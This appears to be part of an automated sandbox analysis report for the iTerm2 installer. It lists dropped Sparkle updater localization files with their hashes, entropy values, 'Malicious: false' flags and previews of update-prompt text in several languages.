SHA-512:	E6CBD44F63448A3B030B8C6D340F027C4A0692CDBC1E1AED845480E605D6000F95073A5E47176EF58318A43C9AE8D14D714A76FB73D4D9DD017B80F05019AA7E
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .e.r. .h.e.n.t.e.t. .o.g. .k.l.a.r. .t.i.l. .b.r.u.g.!. .V.i.l. .d.u. .i.n.s.t.a.l.l.e.r.e. .o.g. .g.e.n.s.t.a.r.t.e. .%.1.$.@. .n.u.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .i.k.k.e. .o.p.d.a.t.e.r.e.s. .n...r. .d.e.t. .k...r.e.s. .f.r.a. .e.n. .k.u.n. .l...s.b.a.r. .e.n.h.e.d... .F.l.y.t. .%.1.$.@. .t.i.l. .m.a.p.p.e.n. .P.r.o.g.r.a.m.m.e.r.,. .g.e.n.s.t.a.r.t. .d.e.r.f.r.a. .o.g. .p.r...v. .i.g.e.n...".;.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/de.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10130
Entropy (8bit):	3.413635333754863
Encrypted:	false
SSDEEP:	96:MN/maFo4/8FUBuI4UAJEnX8dbMS3Gd3KxTQUigRUxn8WuTyTd1Ts6T3/mbpg2nK3:M6X3Q3EQUXUW6uxnK2hNQ42z
MD5:	55D7E1945741EE0BAC8E0D2811F951A4
SHA1:	F53A5AB712955B8079C749E46A6E0B68FF186691
SHA-256:	45610C88A634EF709EC45C65C6F47164D57AB0818A5B8A36C35CE46EEF388D3A
SHA-512:	9B5FD3AC7A85A27F97239F19131985F87907904576FA289B330A41EDBB2DF9483AED6A80F24EBA392154BB3C7E2EFF046BE0D47BC08DFD40D4DD6A9F27FDDF2E
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .w.u.r.d.e. .g.e.l.a.d.e.n. .u.n.d. .s.t.e.h.t. .z.u.r. .I.n.s.t.a.l.l.a.t.i.o.n. .b.e.r.e.i.t.!. .D.i.e.s. .i.s.t. .e.i.n. .w.i.c.h.t.i.g.e.s. .U.p.d.a.t.e... .M...c.h.t.e.s.t. .d.u. .%.1.$.@. .j.e.t.z.t. .d.u.r.c.h. .d.i.e. .n.e.u.e. .V.e.r.s.i.o.n. .e.r.s.e.t.z.e.n. .u.n.d. .n.e.u. .s.t.a.r.t.e.n.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .w.u.r.d.e. .g.e.l.a.d.e.n. .u.n.d. .s.t.e.h.t. .z.u.r. .I.n.s.t.a.l.l.a.t.i.o.n. .b.e.r.e.i.t.!. .M...c.h.t.e.s.t. .d.u. .%.1.$.@. .j.e.t.z.t. .d.u.r.c.h. .d.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/el.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7718
Entropy (8bit):	4.221327171806878
Encrypted:	false
SSDEEP:	192:MlCRzJOo3w3UQUDU63o+t+u+C+5+Tz+5FanTH3+8n:e6w0TH3nn
MD5:	9F9B433C0D2F1D1E65EE9106064D9AFC
SHA1:	454ED597A36986D07F8FA9E9DEF942395F9FDE18
SHA-256:	93A88CE1C2B0BB034446BA346EE5173FE702EC47EA532B0B1B7C6DA904D877CF
SHA-512:	9DA34EC9C3CAFDE542237EC82D8196D2F760A232972DA096D179DB5052BF2BE61326A055E7DE37121CE7A7E9FE46130B6A60DA4A9B9B45F8E82B7A6138A1BE27
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."..... .%.1.$.@. .%.2.$.@. ......... ............. ....... ........... ............. ......... ...........!. ..... ............. ..... ..... ........................... ....... ..... ............................. ..... .%.1.$.@. .........;.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."..... .%.1.$.@. ....... ............. ..... ..................... ....... ............. ....... ......... ........... ...................-......... ... ......... .........

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/en.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10164
Entropy (8bit):	3.3894742679034504
Encrypted:	false
SSDEEP:	192:M0Kb93t3G3J3vQUG4U66bC1L+HnfTnBQvt42gJTkod:AmArBQvrgJTkod
MD5:	597337F19A899D3CF3C815897698F5CF
SHA1:	97CF73712EE23011D3E845AB19B5870D59ED0B8F
SHA-256:	36C608409AF98476DC642983A4E254EC21B4810C8C0B0B5C087C67566EA15F5D
SHA-512:	8B7B8B5A253C94264AA43A478D490A4348FF567F6B1AE0D66BA54193005A903D3FA2405DFFF48244C92B543EF5A457B34C7DA0BDA3799CC4A3865B07FFD9B48B
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/es.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10014
Entropy (8bit):	3.4126715200209072
Encrypted:	false
SSDEEP:	192:MJg7Wu35G3tvQUk8Uv/Hf7TljmnQ/rH425FF19kUNv:1JmJQ/rB5FF19kUNv
MD5:	17DD9DA27421DE1E596A680D24F5135B
SHA1:	C0E412E70ED05DD91DB4A34907BADD6A7722474B
SHA-256:	16DF5CFCD505BF394AD7C7C547DE5E53D045F9686E2F1938FE6C52F409E3B60C
SHA-512:	16BFD359E7DDA7783EB296E279B9BA8E74314A271AC1B737D0120690B12049A61D866D122DD93462F2BC34D54C2CDD2E7D042AC5BFD2418C9B1694FE110F1538
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."...%.1.$.@. .%.2.$.@. .s.e. .h.a. .d.e.s.c.a.r.g.a.d.o. .y. .e.s.t... .l.i.s.t.a. .p.a.r.a. .u.s.a.r.s.e.!. ...s.t.a. .e.s. .u.n.a. .a.c.t.u.a.l.i.z.a.c.i...n. .i.m.p.o.r.t.a.n.t.e... ...T.e. .g.u.s.t.a.r...a. .i.n.s.t.a.l.a.r.l.a. .y. .v.o.l.v.e.r. .a. .a.b.r.i.r. .%.1.$.@. .a.h.o.r.a.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."...%.1.$.@. .%.2.$.@. .s.e. .h.a. .d.e.s.c.a.r.g.a.d.o. .y. .e.s.t... .l.i.s.t.a. .p.a.r.a. .u.s.a.r.s.e.!. ...T.e. .g.u.s.t.a.r...a. .i.n.s.t.a.l.a.r.l.a. .y. .v.o.l.v.e.r. .a. .a.b.r.i.r. .%.1.$.@. .a.h.o.r.a.?.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/fi.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	6184
Entropy (8bit):	3.4300825463328017
Encrypted:	false
SSDEEP:	192:kRjr3e3TQUTU6YHFFHfBRHjzY4zWnnspUIUd:Cjni6HfQSWnspUR
MD5:	56B2DEF79AB485084880E2F02D1BD282
SHA1:	C9DEA92284A3D7D1CC0C8528B384DDD45721EDBB
SHA-256:	F808A229611D1F795EB28CCB2419F7B5F2BABE2FD5488D7F4E759598875556C7
SHA-512:	BADC534316D89A67B1EB38CFF162BF81572F6359EFE4B224AA1287131E2AE9F8C69F99A01E229D855641184B456255E574CA15C699604CFDB879DF00DFB02D44
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. ./. .%.2.$.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .o.n. .a.s.e.n.n.e.t.t.u. .j.a. .o.n. .v.a.l.m.i.i.n.a. .k...y.t.t.....n. .s.e.u.r.a.a.v.a.n. .k.e.r.r.a.n. .k.u.n. .%.3.$.@. .k...y.n.n.i.s.t.e.t.....n.!. .H.a.l.u.a.t.k.o. .k...y.n.n.i.s.t..... .o.h.j.e.l.m.a.n. .u.u.d.e.l.l.e.e.n.?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. .o.n. .u.u.s.i.n. .s.a.a.t.a.v.i.l.l.a. .o.l.e.v.a. .v.e.r.s.i.o...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.1.$.@. .%.2.$.@. .o.n. .u.u.s.i.n. .s.a.a.t.a.v.i.l.l.a. .o.l.e.v.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/fr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10138
Entropy (8bit):	3.4087402083784295
Encrypted:	false
SSDEEP:	192:M+SVL3GlG3KlFQUNSURPrWYVfminF5AHa42Pa:4JuF5AMS
MD5:	7E8B9E711E9EB48F1752A9401E0E28B3
SHA1:	CBDD8701E187D94FA78A941EDC972552B08AE713
SHA-256:	893270ADCB7AFD9770971766E53FC60BD840E33B49D33E6F31FADDE64A0F2243
SHA-512:	5085F9C2C37C7720F47A02F2D7B2381B562AC1FB4FBF9166AE89D6CEE936DEFC49F306593688F533C62470D80414CDA42276FF9EF510674476A4B81138DD03F0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. . .".%.1.$.@. .%.2.$.@. .a. ...t... .t...l...c.h.a.r.g..... .C.'.e.s.t. .u.n.e. .m.i.s.e. ... .j.o.u.r. .i.m.p.o.r.t.a.n.t.e.;. .v.o.u.l.e.z.-.v.o.u.s. .l.. i.n.s.t.a.l.l.e.r. .e.t. .r.e.l.a.n.c.e.r. .%.1.$.@. .m.a.i.n.t.e.n.a.n.t...?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .a. ...t... .t...l...c.h.a.r.g..... .V.o.u.l.e.z.-.v.o.u.s. .l.. i.n.s.t.a.l.l.e.r. .e.t. .r.e.l.a.n.c.e.r. .%.1.$.@. .m.a.i.n.t.e.n.a.n.t...?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/he.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5288
Entropy (8bit):	4.05952354341025
Encrypted:	false
SSDEEP:	96:qa+Ns3d73paQUiY6RUxosxhToFswhsnEKh1l9Mh0wMV8IHMm8mRt6:qy3d73paQUZSU6YhToFswArh1lbZlRA
MD5:	CAE9372E06D907CE165C730A99B15861
SHA1:	5365A695819899E7889525BAE91F1AC3098D5C81
SHA-256:	E205255A4C1300D57F8DDEE7E0E6685F24FC08072059593FB48DDADB9C26B8B8
SHA-512:	1165B3BECFFB13E6790B29F1B7C9367EB3A8505D0344E5D4A338F57880743C202A5CEA674D620A9785666637D95A7343890055111D853DF6CF2D467DD46B59DC
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. .o.f. .%.2.$.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. ............. ........... ........... ............. ......... ......... ........... ..... .%.3.$.@. .!. ............. ...........?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.1.$.@. .%.2.$.@. ....... ........... ............. ...............".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.1.$.@. .%.2.$.@. ....... ........... ............. ...............\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.3.$.@...).".;...../.*. .D.e.s.c.r.i.p.t.i.o.n.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/hr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9738
Entropy (8bit):	3.4676297836376273
Encrypted:	false
SSDEEP:	192:MA1M63u3jQUCUigYmnb/12a26nMXIxSIZmIc42D8Ji0kc8yTvQ:ZMgboQQM0HAAJnkoQ
MD5:	9E4DE05A5D5A80C037A39941F70B2ACB
SHA1:	720DED46FFD4B21B966387A5F9B6DEA01654CDDE
SHA-256:	76497E567EBC15B75F41031C9C31EBF285D34B35B4B8AB5830A6747537FD682E
SHA-512:	02019B5D4DD48F2B44FCBA7A142D80ECBD4EBC6179C345F1B99B1CC7AD1CE3B031D2F9BC57A5392BE8A3BFBA89A15C29DBA91D2CB335A38725143EB921C34586
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .p.r.e.u.z.e.t.o. .i. .s.p.r.e.m.n.o. .z.a. .u.p.o.t.r.e.b.u.!. .O.v.o. .j.e. .v.a.~.n.a. .n.a.d.o.g.r.a.d.n.j.a... .}.e.l.i.a. .l.i. .j.e. .s.a.d.a. .i.n.s.t.a.l.i.r.a.t.i.,. .t.e. .p.o.n.o.v.o. .p.o.k.r.e.n.u.t.i. .%.1.$.@.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .p.r.e.u.z.e.t.o. .i. .s.p.r.e.m.n.o. .z.a. .u.p.o.t.r.e.b.u.!. .}.e.l.i.a. .l.i. .j.e. .s.a.d.a. .i.n.s.t.a.l.i.r.a.t.i.,. .t.e. .p.o.n.o.v.o. .p.o.k.r.e.n.u.t.i. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/hu.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	9986
Entropy (8bit):	3.533324903572847
Encrypted:	false
SSDEEP:	192:MRpeN0KXV3Z43tdQUySUWkDB5hMLdqGnfH5Xl42NJF7qdr:7GSRSlcGfHpDNJF7qdr
MD5:	F3FDC011A27524200ECCEC117DDC7B48
SHA1:	3D1EC2C336D6F8B87DBD5385392108FDF4A10403
SHA-256:	D37774C27359C766F2DAB730CB2510A7C65B8D5980110A015C0D47376E45EC7B
SHA-512:	15BD5FC7827539790CF4B454CA6BCB90934896BFB0BC42A07A192C1969F8E5BAC8F0AA1344ED7BDA502E922321359DDFF7EE38F9225A475AC44BB039FE55B2D0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A. .%.1.$.@. .%.2.$.@. .v.e.r.z.i...j.a. .l.e.t...l.t.Q.d...t.t. ...s. .k...s.z.e.n. ...l.l. .a. .t.e.l.e.p...t...s.r.e.!. .E.z. .e.g.y. .f.o.n.t.o.s. .f.r.i.s.s...t...s.;. .s.z.e.r.e.t.n... .m.o.s.t. .t.e.l.e.p...t.e.n.i.,. .m.a.j.d. ...j.r.a.i.n.d...t.a.n.i. .a. .%.1.$.@. .a.l.k.a.l.m.a.z...s.t.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A. .%.1.$.@. .%.2.$.@. .v.e.r.z.i...j.a. .l.e.t...l.t.Q.d...t.t. ...s. .k...s.z.e.n. ...l.l. .a. .t.e.l.e.p...t...s.r.e.!. .S.z.e.r.e.t.n... .m.o.s.t. .t.e.l.e.p...t.e.n.i.,. .m.a.j.d. ...j.r.a.i.n.d.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/is.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text
Category:	dropped
Size (bytes):	5868
Entropy (8bit):	3.4665653312637836
Encrypted:	false
SSDEEP:	96:Pa+ORD3IJSh3UJSRQUi54RUxosxzZDF4JfuVJtcTpUma1KUmatNma9yHALwM1vKn:PyD3Ish3UsRQUxU6YzZDF4UVzoqpfhN4
MD5:	A131FB039B5037E0A8F853EB1564676F
SHA1:	F1FC730FD661AEF219559075F9048968FCE0F343
SHA-256:	C5C575CA1FF35375374EC4544FABC6C9BBC8422B5FF9386BA2037FB8E5A60FC9
SHA-512:	E27ADD7B2AF06A3388A4567AEEC1597E7414B22FACEAABF479DF11D7AC96010E85E7D112F61C9B1FBB1194D5D5161F50DB36235294C36CB5EE4D9968374B7BE6
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.@. .a.f. .%.@.".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.@. .%.@. .h.e.f.u.r. .v.e.r.i... .s.e.t.t. .i.n.n. .o.g. .v.e.r...u.r. .t.i.l.t...k.t. .v.i... .n...s.t.u. .r...s.i.n.g.u. .%.@... .V.i.l.t.u. .e.n.d.u.r.r...s.a. .n...n.a.?.".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...". .=. .".%.@. .%.@. .e.r. .n...j.a.s.t.a. ...t.g...f.a.n. .s.e.m. .e.r. .f...a.n.l.e.g. ...e.s.s.a. .s.t.u.n.d.i.n.a...".;.....".%.@. .%.@. .i.s. .c.u.r.r.e.n.t.l.y. .t.h.e. .n.e.w.e.s.t. .v.e.r.s.i.o.n. .a.v.a.i.l.a.b.l.e...\.n.(.Y.o.u. .a.r.e. .c.u.r.r.e.n.t.l.y. .r.u.n.n.i.n.g. .v.e.r.s.i.o.n. .%.@...).". .=. .".%.@. .%.@. .e.r. .n...j.a.s.t.a. ...t.g...f.a.n. .s.e.m. .e.r. .f...a.n.l.e.g. ...e.s.s.a. .s.t.u.n.d.i.n.a...\.n.(.Y.o.u. .a.r.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/Autoupdate.app/Contents/Resources/it.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8324
Entropy (8bit):	3.4061147679095343
Encrypted:	false
SSDEEP:	96:M45OdHBu2dnte3KiG3WivQUiLWRUxosryxIOn4OcxOWm94zXnfgXFtP06X8vNjU6:Mr1G35G3dvQU5U6AQ2nfSflyc42K
MD5:	AD0164AE403E0F292249896459FD6DE1
SHA1:	2AB3E5DE20CA03DD4A725DCB5C6EE7526950F6B6
SHA-256:	4A700B1E6B0D596F0EB8F75DE2EEB04CB17B3293CB261269FFFBD3C2E19C2696
SHA-512:	B6611B7C4396B7B68CE393D815231D66A82A6A45E638412AC36EEC75856D779A7BE7FB276D1D9D52B6D052458C478FD1EAE2C38BC98F7492847B194159E2E47C
Malicious:	false
Reputation:	low
